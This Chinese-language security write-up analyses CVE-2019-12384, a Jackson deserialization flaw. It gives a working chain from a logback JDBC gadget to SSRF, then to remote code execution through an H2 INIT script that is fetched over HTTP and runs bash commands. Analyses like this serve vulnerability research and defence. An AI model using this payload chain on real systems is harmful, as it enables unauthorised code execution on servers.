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CVE-2019-12384：Jackson反序列化漏洞分析

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0x00 前言

在某次渗透测试过程中，我们分析的某个应用使用Jackson库来反序列化JSON数据。经过分析后，我们找到了一个反序列化漏洞，可以用来控制待反序列化的类。在本文中，我们将分享攻击者如何利用这个反序列化漏洞发起SSRF（服务端请求伪造）以及RCE（远程代码执行）之类的攻击。

漏洞对应的编号为CVE-2019-12384，RedHat的多个分支受该漏洞影响，如下所示：

 

0x01 利用条件

根据Jackson开发者在某篇文章中提到的信息，触发这个Jackson漏洞需要满足如下要求：

1、目标应用接收来不可信客户端发送的JSON数据（可以手动编写代码或者使用不透明或者不可控的代码），这意味着我们无法约束正在发送的JSON数据；

2、目标应用使用多态类型处理方式来处理java.lang.Object类型（或者少数几个可使用的接口，如java.util.Serializable、java.util.Comparable）的属性；

3、目标应用至少包含能够在Java classpath中利用的一个“gadget”类。漏洞利用过程中需要用到能够配合Jackson的一个类。实际上，大多数gadget只能配合特定库使用，比如之前多次讨论过的JDK序列化场景；

4、目标应用使用的Jackson并没有阻止这个特定的“gadget”类。随着时间的推移，已发布的gadget数量越来越多，因此我们需要在gadget发现、报告和修补过程中占得先机。Jackson维护着一个黑名单列表，反序列化是平台的一个“功能”，官方会不断更新已报告的gadget黑名单。

在此次研究过程中，我们假设利用场景已满足条件1及条件2。实际上，我们重点寻找的是能够满足条件3及条件4的gadget。需要注意的是，Jackson是Java应用程序中最常使用的反序列化框架之一，而多态（polymorphism）是其中最重要的一个概念。如果攻击者使用静态分析工具或者其他动态分析技术（比如在请求/响应中grep查找@class）来寻找满足这些条件的利用点，那么这些目标定位起来并不是特别难。

 

0x02 环境准备

在研究过程中，我们开发了一款工具来帮助分析这类漏洞。当Jackson反序列化ch.qos.logback.core.db.DriverManagerConnectionSource时，我们可以滥用这个类来实例化JDBC链接。JDBC的全称是“(J)ava (D)ata(b)ase (C)onnectivity”，这是一个Java API，用来连接数据库并执行查询语句，也是JavaSE（Java Standard Edition）的一部分。此外，JDBC使用了字符串到类的自动化映射，因此在整条攻击链中，这是用来加载并执行更多“gadget”的绝佳目标。

为了演示攻击过程，我们准备了一个封装器（wrapper），用来加载攻击者指定的各种多态类。在环境方面，我们使用的是基于Java虚拟机（JVM）的jRuby，用来加载并实例化Java类。

我们使用该环境来加载指定目录中的Java类，准备满足条件1及条件2的Jackson环境。为了完成该任务，我们开发了如下jRuby脚本：

require 'java'
Dir["./classpath/*.jar"].each do |f|
    require f
end
java_import 'com.fasterxml.jackson.databind.ObjectMapper'
java_import 'com.fasterxml.jackson.databind.SerializationFeature'

content = ARGV[0]

puts "Mapping"
mapper = ObjectMapper.new
mapper.enableDefaultTyping()
mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
puts "Serializing"
obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the setters
puts "objectified"
puts "stringified: " + mapper.writeValueAsString(obj)

脚本主要执行如下操作：

1、第2行，加载classpath子目录中JAR中包含的所有类；

2、第5-13行，配置Jackson以满足漏洞利用条件；

3、第14-17行，反序列化及序列化以JSON形式传递给jRuby的一个Jackson多态对象。

 

0x03 Gadget

在此次研究中，我们决定使用Java社区中广泛使用的gadget。我们的目标库为Maven中排名前100位的所有库，以便演示攻击影响。

如果大家想复现攻击过程，可以下载如下程序库，将这些库存放在classpath目录中：

需要注意的是，SSRF攻击中并不需要使用h2库，因为根据我们的经验，大多数情况下Java应用至少会加载一个JDBC驱动。JDBC驱动也是一种类，当传入JDBC url时会被自动实例化，完整URL会以参数形式传入处理。

我们可以使用如下命令来调用之前开发好的脚本：

$ jruby test.rb "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:"}]"

在脚本第15行，Jackson会使用子对象中的键值递归调用所有set方法。更具体一些，Jackson反射库会调用setUrl(String url)，传入所需参数。此后（第17行），整个对象会被再次序列化为一个JSON对象。如果没有定义任何get方法，或者通过显示get方法，此时所有的字段都会被直接序列化。对我们来说比较有趣的是getConnection()。作为攻击者，实际上我们感兴趣的是所有的“non pure”（“非纯”）方法，通过控制参数，这些方法会存在一些有趣的“副作用”。

当调用getConnection时，代码会实例化一个内存数据库。由于目标应用生存周期较短，从攻击者视角来看，我们看不到任何影响。为了完成更有意义的任务，我们创建了到远程数据库的一个连接。如果目标应用以远程服务方式进行部署，那么攻击者可以达到SSRF（Server Side Request Forgery）效果，典型攻击场景如下图所示：

 

0x04 从SSRF到RCE

大家可能已经注意到，这些攻击场景都与DoS以及SSRF有关。在这种情况下，虽然攻击者可能影响应用的安全性，但我们还是想与大家分享如何通过一种简单有效的方法，将SSRF转换成完成的RCE攻击链。

为了在应用上下文中获得完整的代码执行权限，我们在环境中部署了加载H2 JDBC驱动的功能。H2是非常快速的一个内存SQL数据库，通常是作为全功能版SQL数据库管理系统（比如Postgresql、MSSql、MySql或者OracleDB）的替代方案。H2配置起来非常方便，并且也支持许多模型，比如内存部署、文件部署或者远程服务器部署。H2可以通过JDBC URL运行SQL脚本，该功能主要目的是方便内存数据库进行INIT迁移。如果单有该功能，攻击者并不能在JVM上下文中执行Java代码。然而，由于H2在JVM框架内实现，因此支持指定包含java代码的自定义别名。我们可以滥用这一点来执行任意代码。

我们可以通过python构建一个简单的HTTP服务器（比如python -m SimpleHttpServer），托管如下inject.sql INIT文件：

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\A");
    return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('id > exploited.txt')

然后通过如下方式运行测试应用：

$ jruby test.rb "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}]"
...
$ cat exploited.txt
uid=501(...) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)

这样就能实现RCE效果。